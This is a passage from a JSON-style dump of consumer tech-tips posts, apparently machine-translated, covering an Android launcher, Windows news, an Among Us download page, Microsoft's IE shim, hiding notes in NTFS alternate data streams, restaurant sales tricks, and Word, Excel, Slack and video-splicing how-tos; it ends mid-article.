ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZKKmk6eyor%2FEZqqtp6KWtKZ5wpqnmpuZqcZuss6rZJqmlKe8qrCMra1mmp%2Bt\n","link":"/post/instructions-to-increase-storage-capacity-for-android-tv-box/","section":"post","tags":null,"title":"Instructions to increase storage capacity for Android TV Box"},{"body":"Are you too bored with certain pattern designs of current launchers and want to experience something more unique and strange than usual for your \"mobile phone\"? Network administrators would like to share with you an extremely interesting application that can make icons move freely on the device with just a shake, rotate or touch screen. Simply put, when you tilt the phone, the application icons in the device will \"tilt\" in that direction, creating a very unique scene. If you have been attracted by this application, please join us immediately.\nHow to make phone icons fall in many dimensions on Android phones GRAVITY LAUNCHER VS is the application that will help you make the phone icon crash, the application is quite light. The steps are as follows:\nStep 1:\nFirst of all, you need to download GRAVITY LAUNCHER VS via the link below.\nDownload the GRAVITY LAUNCHER VS app for Android Step 2:\nComplete the download and installation process, start the application and grant some basic permissions. Then, click Next and OK to finish the initial setup.\n  Step 3:\nYou press the Home key outside the main screen to see the interface is empty as shown below. Continuing to click on the menu icon will appear very interesting overlapping application icons. Now you can shake, rotate (horizontal, vertical) to move icons in the free direction or use your finger to drag icons up and drop down.\n  How to make the phone icon return to the normal interface Although unique and new, it must be admitted that the arrangement of application icons in GRAVITY LAUNCHER VS is quite confusing, only suitable for entertainment, mischief or showing off to friends. Compared to practicality and long-term use, it seems not feasible. So when you are bored then you want to return to the old interface before, you do the following:\nStep 1:\nGo to Settings\u0026gt; Applications\u0026gt; All applications\u0026gt; Find to GRAVITY LAUNCHER.\n  Step 2:\nClick the Application screen on the Home screen\u0026gt; GRAVITY LAUNCHER\u0026gt; Here you select the default Launcher of the device will bring your phone to the normal interface.\n  Note:\nTo open the application while in the multi-dimensional drop-in mode, you just need to touch (once) the corresponding icon to open the application. How to do in the article only applies to devices running Android 7.0 or higher. Above is a small trick with the Vs Gravity Launcher app that creates stacked icons. Wish you successful operation and have interesting experiences!\nSee more:\nThese free apps turn Android into iPhone 5 very beautiful icon sets for Android are free for a short time How to move multiple apps at once on iPhone Top 10 stunning icon packs for Android Few people know Facebook icons, special characters Facebook, emoji on Facebook 2018 ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZKaZm5p6tbTEZqehp56aeqqvzqdkn5mcoXq4tcudo7JlpaO2ssHE\n","link":"/post/instructions-to-make-the-phone-icon-fall-wildly-unique/","section":"post","tags":null,"title":"Instructions to make the phone icon fall wildly unique"},{"body":"We recently reported that the Windows 10 Sun Valley update will include productivity and multitasking features along with interface changes. According to a new report, Microsoft is internally testing a new widget feature for this operating system.\nMicrosoft seems to be working on a new feature similar to the Windows 8 Charms Bar and Active on the desktop. This feature is currently called Windows widgets and it will be introduced later this year or next. If the Windows Widgets feature launches this year, it will appear in the Windows 10 Sun Valley update.\nDetails are scarce and it's unclear exactly how this will work, but apparently, the feature will appear like Windows 8's Charms Bar.\nFor those who don't know, Windows 8's Charms Bar in the Charms menu allows users to access Search, Settings, and other items. The Charms menu feature has not been well received by PC users since the release of Windows 8 in late 2012. In 2015, Microsoft removed it from Windows 10.\n  Charms bar has been removed from all Windows 10 devices both desktop and tablet. However, that doesn't necessarily mean Microsoft has given up on the idea. The latest leak suggests that a similar feature will be added to Windows 10.\nIn other words, you might soon see a Charms-like menu on the left side of the screen when you hover over it. There you will find the pinned app or search item. This will make multitasking and access easier.\nIn fact, it is also possible that Windows Widgets will be based on the concept of a desktop, a feature that allows users to integrate HTML features and widget-like elements, such as breaking news, Financial information and wallpapers including GIFs.\nIt is not clear whether Windows widgets will be applied to newbies or advanced users.\nNote that Microsoft may or may not ever offer these features and our interpretation of what will be is approximate.\nAccording to reports, Microsoft may also add multitasking and other gestures to the next version of Windows.\nFor example, in one of the documents, we discovered that Microsoft is considering a new class of gestures to improve the tablet experience on Windows 10. In addition, Microsoft is also working on editing features. New tablet level and improved colorful touch keyboard.\nncG1vNJzZmismaXArq3KnmWcp51kuaatyp6bZqGem7yzucCtoKimXam1osCMsKCnnJ%2BswG59j2auoqScYrWiwsRmmGaelZbBtr7EZqqipZmhrrN506hksKGemby4v4xxqmabmJa%2Frr%2BMm5ir\n","link":"/post/leaked-information-that-windows-10-will-have-a-feature-similar-to-windows-8-s-charms-bar/","section":"post","tags":null,"title":"Leaked information that Windows 10 will have a feature similar to Windows 8's Charms Bar"},{"body":"In addition, with a lively game scene and funny and lovely characters, it gives players moments of intense fighting but still contains many fun and entertaining things.\nLink Download Among Us free for IOS\nLink Download Among Us free for Android\nLink Download Among Us free for windows\nCategory :\u0026nbsp; Action Graphics : 2D Mode : Online\u0026nbsp; Age : 16 years old and up Publisher :\u0026nbsp; Innersloth LLC Operating system :\u0026nbsp; Android \u0026nbsp;4.4 or higher,\u0026nbsp; iOS \u0026nbsp;10.0 or higher,\u0026nbsp; Windows \u0026nbsp;7 Release date : June 15, 2018 Game price : Free with mobile platforms. The game has a new gameplay style and gives people many interesting emotions that hide many surprises, creating an attraction for the game. When playing the game, there will be 4 to 10 people online or over local WiFi. Players will be randomly assigned to become brave crew members searching for the truth or turn into evil impersonators trying to destroy the ship and kill everyone.\u0026nbsp;\n  In order to help players better understand the rules or tasks, the time when playing in the lobby of each game room will have a detailed information board located in the left corner to help players easily access, understand and set out. get the right tactics for yourself.\nThe game also supports a lot of different languages, this helps the game reach a variety of objects as well as makes it easy for players to interact with the game.\n  With taking on different roles in the game, players will also perform actions and complete respective missions to win the final. The body is the good side (the crew) must be observant, pay close attention, and make quick and accurate judgments.\nAs for the evil side (the imposter), you have to be dodgy in deceiving the remaining players to try to destroy and destroy the entire ship.\n  Although the player will not be able to choose which character will be the Crewmate or the imposter, when entering the game, the player will be able to choose a room with a different number of members and can choose the number of Impostors. fake) 1, 2, 3 or any (any) person means that challenging the difficulty in each room will also vary depending on the player's choice.\n  Players can also customize the character to choose his favorite color as well as add beautiful decorative accessories to bring life to his character.\n  Besides, there will also be different maps (maps) for players to choose from to bring different emotional contexts without causing boredom for players. Currently the game is bringing 3 main maps:\nThe Skeld Map   Mirahq Map   Map of Polus   The interesting thing of the game is that players will not know the true identity of other players and vice versa, other players will not be able to know your identity. Because of that in the game, there will be many doubts, judgments and different judgments between players, sometimes there will be disagreements between them, creating the attraction for the game.\nThis point is similar to the game that was very successful and familiar to everyone that is Deceit and Werewolf, but integrated with a large context, with new details that bring an interesting characteristic face to the game. .\n  When you are the crew looking for the traces of the impostor but unfortunately while subjective, you are suddenly crushed by that guy. At that time you can still stay in the room but can only observe the other players or the player can choose to leave, but you will be curious to see if the guy who killed you is being hit by the members. Another discovered exposed or that guy silently killed everyone and destroyed the ship. Observing the developments in the room will be quite interesting and so you can also learn a lot from other players.\n  You can also:\nCreate a playroom with\u0026nbsp; Create Game. Find rooms to play with\u0026nbsp; Public . Enter the room code to play with friends with\u0026nbsp; Private.   Among Us, although only using simple 2D graphics with the context is not too massive or sparkling like other games, but with the character building is a bit funny, lovely along with the ship context The universe is designed in vivid detail using bright and eye-catching colors to still create a unique feature as well as create a highlight in the player's heart.\n  Besides the graphics, Among Us has also used very cleverly the sound in the game to bring success to the game. Mysterious sounds with slow melodies and weird noises give the sense of curiosity, concealment, and unexpected sounds when someone is murdered or loud howls. creating an attraction, helping to increase feelings of gaming for everyone.\nAndroid 4.4 and above\u0026nbsp; iOS 10.0 or later Operating System : Windows 7 and above. RAM memory : 1 GB DirectX : 10 Free memory : 250 MB\u0026nbsp; Among Us, with its fascinating new gameplay, along with funny characters in the game, is sure to be a game that will help you have fun and entertaining moments after hours of studying and working tirelessly. Let's experience the game now.\nGood luck\nncG1vNJzZmismaXArq3KnmWcp51kuaq6ymarqGWUpMSvuM6am2aZnaS7qHnUrGSfp6Jis7OxxGabqK%2BeobyisIyapKiml2LCtHnFqKlmoZ%2BoeqW71qejqJmUYq6uu82gZK6rXZu8s3nAp5urp5mZeqK5zqeeZq2jYrOwvoywoKecn6zA\n","link":"/post/link-download-among-us-free-among-us-ios-among-us-android/","section":"post","tags":null,"title":"Link download Among Us free - Among Us IOS - Among Us Android"},{"body":"TipsMake.com - Last Tuesday, Microsoft has provided users with an 'add-on' application - Shim - capable of blocking attacks aimed at IE when they exploit an error discovered last month. .\n  Andrew Storms - director of security operations at nCircle Security - said ' Shim for IE is news of the day. We do not expect a patch for IE nor wait for Shim '.\nShim is the term used to describe a compatible solution application. Storms found it consistent with the temporary patch yesterday because Microsoft used the Windows Application Compatibility Toolkit to modify IE so it would help avoid attacks by an error in the way this browser handles a CSS file (Cascading Style Sheets).\nAccording to Storms, this is the first time it has used the Application Compatibility Toolkit to patch a zero-day error.\nThis tool, which has been part of Windows since Windows XP, was designed to allow older applications, including applications created for outdated versions of the operating system, to run. on the new version of Windows operating system.\nMicrosoft's solution is to use the Application Compatibility Toolkit to modify the main library of IE - a DLL or Dynamic-Link library named Mshtml.dll, containing translation technology - in memory each time IE runs. This edit will prevent recursive downloads of a CSS, effectively blocking current attacks.\nStorms said: ' The fact that Microsoft uses the App Comp is really a surprising way. They have just regenerated it to help prevent zero-day errors. In short, they can use anything in their 'ammunition '.\nOther researchers agree with this new strategy.\nWolfgang Kandek, chief technology officer of security firm Qualys, expressed his opinion: ' This is too creative. We like it because it will fix errors faster than a real patch . '\nQualys yesterday also confirmed that after applying this solution, the current errors are no longer executable.\nStorms said: ' Another interesting thing is that you won't have to uninstall the shim before installing the patch, even if the message appears .'\nKandek hopes that Microsoft will close IE's vulnerability on February 8 in its monthly patch. However, Storms said that the launch of the shim is a good sign that Microsoft will provide in an emergency, updating the browser ever.\nMicrosoft first discovered CSS errors in IE on December 22, a few weeks after the French security firm, Vupen, published an important study that said all versions of IE, including IE8 can be hacked.\nSince then, Microsoft has acknowledged that it is monitoring active attacks aimed at exploiting this vulnerability. This was reiterated yesterday, once again asserting that it can only \"limit attacks aimed at exploiting this vulnerability.\"\nUsers can download IE from Microsoft homepage or right here.\nncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYq%2Btu8KknJ1lmZp6osDTmpqkq12strW0jKykmqqkYsGir9Oimqw%3D\n","link":"/post/microsoft-blocked-ie-attacks-with-smart-tactics/","section":"post","tags":null,"title":"Microsoft blocked IE attacks with smart tactics"},{"body":"However, Android applications that depend on Google's service - Google Play Services - will not be able to run on Windows 11. This is due to Microsoft's use of the Android Open Source Project (AOSP) to run Android on the system. their new executive.\n  What about installing Android apps from APK files? The answer is yes, you can install Android apps on Windows 11 using APK files. This is confirmation from Miguel de Icaza, an engineer at Microsoft. Although not a Microsoft spokesman, on Twitter, Miguel boldly confirmed \"Yes\" when asked if Windows 11 can install Android using the APK file.\nThis is good news for users around the world. The fact that Android 11 can run Android apps without an emulator has helped a lot. Next, being able to install from the APK file will give you an alternative in work and play in case the necessary application cannot be found on the Amazon App Store.\nWindows 11 will officially be released to users later this year. Before that, the preview will be sent to users participating in the Insider Program in July or August.\nwindows 11 ncG1vNJzZmismaXArq3KnmWcp51kxrDBjJyYp2WZo8C1rculZJqmlKe8qrCMmqepq12ku27DyKebqK%2BjYn5yedSsoKefXZa9rHnFoqOeqw%3D%3D\n","link":"/post/you-can-install-android-apps-on-windows-11-using-apk-files/","section":"post","tags":null,"title":"You can install Android apps on Windows 11 using APK files"},{"body":" 15 interesting psychological tricks everyone should know 14 psychological tricks to get people to do what you want 25 \"extremely useful\" body tips in life that you should apply Do you wonder why many vegetables are available at menus at restaurants or why there are music in the restaurants and waitresses quickly clean up dirty dishes on the table. The shop owner is not only interested in visiting the store again, but also interested in the food you want to eat.Please join us to consult 11 psychological tips \"drain most customers\" are applied by restaurants to bypass you in the article below!\n1. Menu for everyone    © maxicam / depositphotos\nDo you wonder why many vegetables are available at every restaurant menu? Simply because vegetables are suitable for most people. A \" perfect \" menu is a menu of detailed segmentation of all kinds of customers, whether you are a dieter, a vegetarian, a dieter, how sweet or a strict diet can still find a dish. suit for me. In addition, each restaurant's menu has hot items, nutritious dishes, diets and snacks.\n2. Turning on music will stimulate eating more    © lisovskaya / depositphotos\nWhen you look at the comparison image, you probably won't be startled by the difference in the consumption of food between meals with music and no music . According to researchers, the use of soft and reasonable music will make diners eat more than when the restaurant does not use it. And music also has different levels of food consumption.\nFor example, classical music and symphony will make diners eat 10% more than normal . Besides, this type of music also helps people to feel \" richer and more luxurious \". Music can also be adapted to specific purposes: classical French music will be appropriate to enjoy the wine and Celtic music suitable for drinking beer.\nSee also: 13 wonderful quotes about love to \"define\" a true friendship\n3. Pay 10% more  © teamtime / depositphotos\nMost customers will not feel bothered if they pay 7-10% more than planned. That's why sauces and other supplements like cheese, extra dishes and extra food and drinks included in the fast food ration are no higher than 10% for diners to not feel. Feeling hesitant when spending.\n4. Shortened menu    © Marchi / depositphotos © colorlife / depositphotos\nThe thick book menu seems to be no longer popular in the trend of modern cuisine, because people think that when flipping through the pages, diners will feel confused and doubtful. Aaron Allen , a restaurant industry expert, says that a complicated menu can have an adverse effect on the original idea, make customers feel dizzy and doubt whether their choice is right or not.\nBecause usually many people tend to think that a restaurant cannot cook all the dishes well in the thick menu. That's why a menu book is best shortened, eye-catching on one or several applications.\n5. Positive service attitude  © anatoliycherkas / depositphotos\nAll restaurant managers know that service attitude plays an important role in the customer experience, especially for luxury restaurants that charge a service fee.\nIn addition to the basic principles, starting to chat with customers with questions about health and weather before taking the menu, is also the trick of many famous restaurants in the world. Even feeling satisfied when served can change the quality assessment of food .\nSee also: 9 great \"pickpockets\" customers that clothing salespeople never reveal to you\n6. Restaurant class  © racorn / depositphotos\nBy using high-end brands , heirloom recipes will make the restaurant stand out from other places. Although in fact these dishes are no different from regular dishes, but are attached with beautiful names such as dishes named after the restaurant, named after the chef will make it much higher.\nFor example, a cafe with a worker knows that a unique American donut recipe will be different from a coffee shop that only sells regular donuts.And with that brand, customers are also willing to pay a higher price.\nNot only does it stop at a special name, one can mention some of the characteristics of cooking secrets such as a cafe advertising that you have a chef who makes French pastry recipes, or of French recipes . family while other shops simply sell delicious cakes.\n7. The key \"big size\"  © stockyimages / depositphotos\nWhen ordering drinks at a coffee shop, many waiters will ask you: \" Do you use big size? \" Instead of asking: \" What size do you use? \". Many people who clicked their tongues agreed until they realized the big size \" something was wrong \" was too late.\nIn addition, some people in the profession revealed that, \" standard - \u0026nbsp; The standard \"is usually never standard, but even twice as big. While the actual standard size, people will call it\" small size \"to deceive customers' feelings.\nSee more: 13 words and 10 sales secrets that certain sales people must know\n7. \"Special dish\" of the chef  © Kzenon / depositphotos © nejron / depositphotos\nThe reputation of the chef plays a very important role in the customer's experience. Any dish will become more special if served by the chef itself . Customers will feel that the food is sophisticated, attentive and processed \" better \" than when served by regular waiters. Getting this mentality has many restaurants for waiters to dress up like cooks to entertain their guests.\n8. Effect of scent  © jag_cz / depositphotos © Valentyn_Volkov / depositphotos © wikimedia © wikimedia\nScent also strongly affects the psychology and taste of people who eat , even if we are very alert to adjust it. Scientists point out that vanilla scent and cinnamon fragrances increase the need to eat desserts, while bacon smells make customers crave more. Gentle lavender scent is often used to make guests feel more relaxed and spend more.\n9. Continuous cleaning of dirty dishes  © pressmaster / depositphotos\nThe waiter always tries to clear the plate as soon as you finish the meal, as quickly as possible.This is not only for hygiene reasons but also psychologically. Customers tend to think that they eat too much so they will feel full and want to stop.\nIn addition, sitting in the middle of the used dishes, you will feel uncomfortable and want to quickly leave. Therefore, the dishes are always replaced so that customers feel they have nothing to eat and call.\n10. Tips with excess money, change  © Devon / depositphotos\nThe waiter can have many tricks to \"get rid of \" the money back to the customer. For example, they can extend the time to return excess money to customers, when visitors wait long time will often leave; sometimes they pay back too much money or coins; or dirty money bills for customers to avoid.\nBesides, dishes in the menu often have retail prices in 7-8-9 numbers so that you feel that it is not expensive . In addition, when calculating the amount, this excess amount of money will not be accepted by anyone. Some bills are insignificant, but for a restaurant that has a huge amount of bills every day, the change is not small.\nSee also: Just spend 20 minutes every morning, you will have a super effective working day!\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51kfnJ5z6ywnKCfobyotcKao2asmaXAbsDOZpurmZmjeq670q1knK2jqbyusdGsZJqqlWKvprXNoGSaqKChtqawjJuwZqqVqMGiwdGapa2r\n","link":"/post/11-psychological-tips-to-drain-most-customers-are-being-applied-by-restaurants/","section":"post","tags":null,"title":"11 psychological tips to 'drain most customers' are being applied by restaurants"},{"body":"QuanTriMang.com - In the following article, TipsMake.com will introduce you how to hide data in a text file , ensure safety when no one can find or detect unless they know the main name corpse of that secret file. In fact, there have been a lot of tutorial articles on this, but we have experimented, updated with the situation happening on Windows 7 operating system. Operation mechanism: \n Since Windows 2000, the NTFS file system management feature has supported Alternate Data Streams - ADS, allowing users to 'hide' data under the name of any file, using the stream. It will not be able to be detected while browsing files as usual, or any single Windows search function . you can only access that file via 'secret key' - it is the name of that stream.\n  You can deduce simply as follows: external stream components such as the secret 'compartments' of any file, and can only access that 'pane' if you know 'secret key'. '- simply the name and path to that' compartment '. In terms of absolute data security, this is not the most feasible way to apply, but still effective in simple and uncomplicated cases. Note that this only works and applies on NTFS-formatted hard drive partitions.\n'Hide' data: \n In order to do this, open the command line window - command prompt and use the following syntax: notepad SomeFile.txt: SecretWordHere.txt You can declare any character after the colon as a security key, the key is not to leave a blank character between the filename and the colon:\n  If you do not declare the extension (* .txt) at the end, Notepad will automatically add it, and ask if you want to create the file, even if the file SomeFile.txt already exists, because the file SecretSquirrel! .Txt is not available:\n  Here, you can save any information or data that needs security. Examples are as follows:\n  After saving, you can see the file size has not changed compared to before:\n  Double-click the file to open it, add any comments here to look like a 'regular' text file:\n  Next, we will use the command prompt to add the second secret 'compartment' to another name:\n  And similar to above, fill in any information here:\n  Those hidden files do not affect each other, nor do they affect each other, or the main file. Just remember one thing that you must use the command prompt to access that confidential data. Note: once you have successfully created the secret 'container', and this folder is not part of the file, you cannot copy the main file to another location to access that secret in the same way as on.\nDetect file with 'block' secret: \n Of course, it is difficult to hide this file for everyone, because there is a small tool called Streams.exe that is used to detect and detect the existence of 'compartments', including names. full. For example, in our test case, follow the syntax of the following statement: streams.exe SomeFile.txt   You can see, the names of the 'compartments' have been displayed, and therefore can be easily accessed and used. If you use Windows 7, add the / R parameter to the DIR command to 'see' these compartments:\n  Delete secret compartments: \n To do this, we can also apply it with the Streams.exe program. The main syntax is as follows: streams.exe -d SomeFile.txt   As you can see in the image above, the secret compartment has been removed from the original file.\nAssign Streams from the command line: \n Users can perform this process by applying different commands, or adding paths to the input or output data stream and accepting using the syntax standard FileName: StreamName. As the following example, we will use echo command: echo 'Neat!' \u0026gt; SomeFile.txt: Test   When executing the above command, we have added a secret 'compartment' to the file.\nRead data in Stream from the command line: \n To read data directly from Stream via the command line, apply the following syntax: more And in this example, we will type the following command: more   And you can easily see the data inside the Stream clearly displayed. As we said above, this is not the best way to ensure the safety of data and personal information, but with simple operations as shown, you can still be assured of some degree. Besides, you can refer to how to secure data with TrueCrypt on Windows, Mac OS X or Linux. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktaqwxGabmqyRYravecBmqp6boprBbsDEsatmnpmhsg%3D%3D\n","link":"/post/hide-data-in-a-secret-text-file/","section":"post","tags":null,"title":"Hide data in a 'secret' text file"},{"body":" Microsoft Word offers a huge array of options for customizing your documents — so huge, in fact, that it can be hard to figure out how to do simple things like center your text. Luckily, the method is easy to remember once you know...\nMethod 1of 2:\nCentering Text Horizontally  Highlight the text you want to center. If you already have text in the document, the first thing you must do is highlight it. Put the mouse cursor at the start of the text you want to center. Click and hold the left mouse button. Move the cursor to the end of the text you want to highlight. The text should now be bordered by a transparent blue box.\n  Click the \"Center\" button in the upper toolbar. Follow these directions:[1] Look at the toolbar at the top of the Word window (the space with all the options). The word \"Home\" in the top left should be selected (it will be by default). If it isn't (or you're not sure), click on \"Home.\" Next, look under the \"Paragraph\" header, which is below \"Home\" and to the right. You should see three small buttons that look like pages with the text aligned to the left, center, and right. Click the button with the text aligned in the center.   Deselect your text. The text you selected should now be aligned evenly between the left and right margins. Now, click where you would like to continue typing and proceed with the rest of your document. If your text didn't center, you may have accidentally deselected it before hitting the center button. You need to center your text while it's selected without clicking anywhere else on the page.   If you haven't typed anything yet, just click the \"Center\" button. If your document is completely blank, click the \"Center\" button from the directions above and any text you type will be center-aligned. If you want to add centered text at the end of your document, click at the end of your document, hit the enter/return key to start a new line, and click the \"Center\" button.   Alternatively, hit Ctrl+E. This keyboard combination will switch you back and forth between left-aligned text and centered text.[2] If you use it while text is highlighted, the text will change to centered (and back if you hit the keys again). If you use it on a blank line, it will change the alignment of the cursor so that the next words you type are centered.\n  Use the other buttons to change your alignment. The buttons next to the \"Center\" button in the toolbar allow you to get different text alignments. They all work the same way as the center button does. From left to right, the alignment buttons are: Align left Align center Align right Justify (similar to center except that words will automatically be stretched so that all the lines are the same width).  Method 2of 2:\nCentering Text Vertically  Highlight the text you want to center. This method will align the text midway between the top and bottom margins on the page. To start, highlight the text the same way as you would if you were aligning it horizontally (see method above). If you haven't typed anything yet, skip this step. When you're done, the text that you type will be centered vertically.   Open the Layout menu. Follow these directions:[3] Click \"Page Layout\" in the upper toolbar (to the right of the \"Home\" tab that's selected by default). Click the \"Page Setup\" button. In the window that pops up, click the \"Layout\" tab.   Select a centered vertical alignment. In the tab you just selected, look for the \"Vertical Alignment\" box. Select \"Center.\"\n  Apply the changes. Clicking \"OK\" will change the alignment and return you to your document. If you like, you can use the options under \"Apply to\" to change which parts of your document are centered vertically. For example, if you have highlighted text that you want to center vertically, be sure to choose the \"Selected text\" option from the \"Apply to\" menu.   Kareem Winters Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuVo8GmvoytnLGsXZ67brnInKmoq5%2BbwW7Dzqub\n","link":"/post/how-to-center-text-in-microsoft-word/","section":"post","tags":null,"title":"How to Center Text in Microsoft Word"},{"body":"To present the values ​​of statistics, reports . scientific and eye-catching, you should decorate the tables by adding more background colors to the cells in the tables. The following article will help you color the background and table color in Word and Excel quickly in Office 2016.\n  1. How to color the background and table color in Word: Method 1: Fill the background and color using the available styles Go to Design -\u0026gt; tab in Table Styles, click the arrow:\n  List of Style available for display panel -\u0026gt; you select the style that you want to apply to your table:\n  Also if you want to apply and edit style Style else you click on Modiy Table Style:\n  The result has filled the table with the background color:\n  Method 2: Fill the background, color table as you like This way you can arbitrarily color any cell, table you want. First you select the table or cell need to fill background -\u0026gt; go to Design tab -\u0026gt; Shading -\u0026gt; select the color to fill:\n  In case you want to use other coordinated colors, click More Color:\n  Select the color to click OK and you can color as you like:\n  2. Fill a background with a table color in Excel Similar to Word, you can color the background and palette in two ways:\nMethod 1: Fill the background, color palette as you like You just need to select the cell (table) to color -\u0026gt; go to the Home tab -\u0026gt; click the Theme Colors icon -\u0026gt; select the color to fill:\n  Method 2: Coloring the board background using the available styles Select the table or cell you want to color -\u0026gt; go to the Home tab -\u0026gt; Format as Table -\u0026gt; select the Style to apply to the table:\n  The result you colored tables in Excel:\n  So there are many different ways to color the background, the color palette in Word, depending on the needs and level of coloring you choose for yourself. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufobyzedOhnGaakZi4qL7OrqWdZaSWr62xjJympaeiYravedaoqZ1lla2wprg%3D\n","link":"/post/how-to-color-the-background-table-color-in-word-excel/","section":"post","tags":null,"title":"How to color the background, table color in Word, Excel"},{"body":" This wikiHow teaches you how to respond to direct messages in Slack on a computer. Open Slack. You can do this by navigating to your team's URL in a web browser. Or, if you have the desktop application, click it in the Applications folder...\nMethod 1of 2:\nReplying to a Direct Message  Open Slack. You can do this by navigating to your team's URL in a web browser. Or, if you have the desktop application, click it in the Applications folder (macOS) or the Windows menu (Windows).\n  Select a message. Your messages appear under the 'Direct Messages' header in the left column. Clicking a user's name will open a conversation with that user.\n  Type a message. To start typing, click the box at the bottom of the screen that says 'Message @username.'\n  Press ↵ Enter or ⏎ Return. Your message will appear in the conversation.\n Method 2of 2:\nReplying in a Channel  Open Slack. You can do this by navigating to your team's URL in a web browser. Or, if you have the desktop application, click it in the Applications folder (macOS) or the Windows menu (Windows).\n  Select a channel. Channels appear in the left column under the 'Channels' header.\n  Hover your mouse over a message. Four icons will appear at its upper-right side.\n  Click the chat bubble icon. It's the second icon in the row. This expands the Threads column on the right side of the window. Threads are easy ways to have side conversations in Slack without taking over the channel.\n  Type your reply. You'll see the typing area near the bottom of the Threads column. If you want this user to receive a direct message containing your response, check the box next to 'Also send as a direct message.'   Click Send. Your message will now appear in the thread.\n  Samuel Daniel Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVpbm6edOoZKykkZi4brnErKqan5WoerC6jKmaZqeiYrqirw%3D%3D\n","link":"/post/how-to-reply-to-slack-messages-on-pc-or-mac/","section":"post","tags":null,"title":"How to Reply to Slack Messages on PC or Mac"},{"body":"The unique ultra-thin and border screen of Samsung Galaxy S8 is always the focal point to attract the attention of users at first sight.In order to \"adapt\" to this infinite screen, Samsung has released a variety of wallpaper templates for the Galaxy S8.Unlike other Android wallpapers, the infinite wallpaper of Galaxy S8 works by setting the integration between the lock screen, the main screen and the always displayed screen.The following article will introduce how to operate as well as infinity wallpaper settings.Let's follow it!\nSamsung Themes application with infinity wallpaper templates built into Galaxy S8.Open the application and select a set of wallpapers.You might wonder why it is 'wallpaper set', not a wallpaper?That's because a set of this wallpaper includes three different animated wallpapers - one for the always-displayed screen, one for the lock screen and the last for the main screen.\nAll you need to do is select an infinite set of wallpapers from the Samsung Themes app.After that, turn off the phone and touch the Galaxy S8 to appear the wallpaper that is always displayed.To switch to the lock screen, press the virtual Home button.Swipe or use fingerprints, sweep the iris to unlock the phone.After unlocking, the main screen will appear.\n  All 3 screens have a moving galaxy in the background but the background colors are different in each background.First wallpaper with slightly dark background while lock screen wallpaper and main screenwith brighter colors.So we know how to set up infinity wallpaper on Samsung Galaxy 8, still hesitate but don't try right on your mobile phone.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXq2vIyipZ%2Bhnp7BunnWmqOlqJGlsrN5zqdkoJmclsW6edJx\n","link":"/post/how-to-set-up-infinity-wallpaper-on-galaxy-s8/","section":"post","tags":null,"title":"How to set up infinity wallpaper on Galaxy S8"},{"body":" This wikiHow teaches you how to join two or more video clips together. You can do this using free software on both Windows and Mac computers. Transfer your video clips to your computer. If your video clips are on a smartphone, you'll need...\nMethod 1of 2:\nOn Windows  Transfer your video clips to your computer. If your video clips are on a smartphone, you'll need to transfer them to your computer before you can splice them together. If your video clips are on a video camera, you'll either need to connect the video camera to your computer via a USB cable or plug the camera's SD card into your computer. After that, you can select the camera in File Explorer (Windows) or Finder (Mac), open the DCIM folder, and move the files onto your computer.   Open Start   . Click the Windows logo in the bottom-left corner of the screen.   Open Photos. Click the Photos app icon, which resembles a pair of stylized mountains, in the Start menu. If you don't see the Photos option, type photos into the search bar at the bottom of the Start menu, then click Photos when it appears at the top of the Start menu.   Click Create. It's in the upper-right corner of the window. A drop-down menu will appear.\n  Click Custom video with music. You'll see this option in the drop-down menu. Doing so opens a window with your computer's photos and videos listed.\n  Select videos. Click the checkbox in the upper-left corner of each video clip you want to use in your project. If Windows doesn't open the proper folder, first click the Folders tab, then select the folder from which you want to import videos.   Click Create. It's in the upper-right corner of the window.\n  Enter a name for your video. Type the name that you want to use for your video into the text box that appears, then click OK. Doing so will create your video out of the selected video clips.\n  Change your video clips' order. In the \"Storyboard\" section at the bottom of the window, click and drag a clip left or right to move it closer to or farther from the beginning of the video.\n  Remove music. By default, Windows will add music to your set of clips; you can remove it by doing the following: Click Music in the upper-right side of the window. Scroll up to the top of the drop-down menu. Click None Uncheck the \"Sync your video to the music's beat\" box. Click Done   Adjust a video's length. Windows will shorten significantly your video clips, but you can restore each of them to your preferred length: Select a video clip in the \"Storyboard\" section. Click Trim in the \"Storyboard\" section. Click and drag the left tab at the bottom of the window to the point where you want the video clip to start. Click and drag the right tab at the bottom of the window to the point where you want the video clip to end. Click Done in the top-right corner.   Preview your movie. Once you've adjusted and rearranged your video clips, you can preview the entire project by clicking the \"Play\"  button below the video window on the right side of Photos.   Click Export or share. It's in the top-right corner of the window. A pop-up window will appear.\n  Select a file size. Click S, M, or L depending on whether you want your video to be small (standard quality), medium (higher quality), or large (best quality). Your video will begin exporting onto your computer. This process can take a while to complete, but you should be able to monitor the export progress in the pop-up window.   Click View in File Explorer. It's on the right side of the window. Doing so will take you to the export location of the video's file; at this point, you can double-click the video to watch it, or you can move it by clicking and dragging it into a different folder if you like.\n Method 2of 2:\nOn Mac  Transfer your video clips to your computer. If your video clips are on a smartphone, you'll need to transfer them to your computer before you can splice them together. If your video clips are on a video camera, you'll either need to connect the video camera to your computer via a USB cable or plug the camera's SD card into your computer. After that, you can select the camera in File Explorer (Windows) or Finder (Mac), open the DCIM folder, and move the files onto your computer.   Open iMovie. Click the Launchpad app icon (the rocket ship in your Mac's Dock), then click the purple-and-white iMovie app icon in the list of apps there. You can also open Spotlight  , type in imovie, and double-click iMovie. EXPERT TIP\n Gavin Anstey\nVideo Producer, COO at Cinebody Gavin Anstey is the COO at Cinebody. Cinebody is User-Directed Content software that empowers brands to create instant, authentic, and engaging video content with anyone on earth. Gavin studied Journalism at the University of Colorado Boulder, before launching a career in video production and software  Gavin Anstey\nVideo Producer, COO at Cinebody\n\"IMovie works great for splicing videos, because overall, it's a very intuitive program, but even more specifically, splicing videos is very straightforward.\"\n\u0026nbsp;\n  Create a new project. Click File in the top-left corner of the screen, click New Project... in the drop-down menu, click Movie, and enter a name for your project.\n  Select video clips. Before you can join together your videos, you'll need to import them into iMovie: Click File Select Import Click Movies Go to the folder in which your movie clips are stored. Select movie clips by 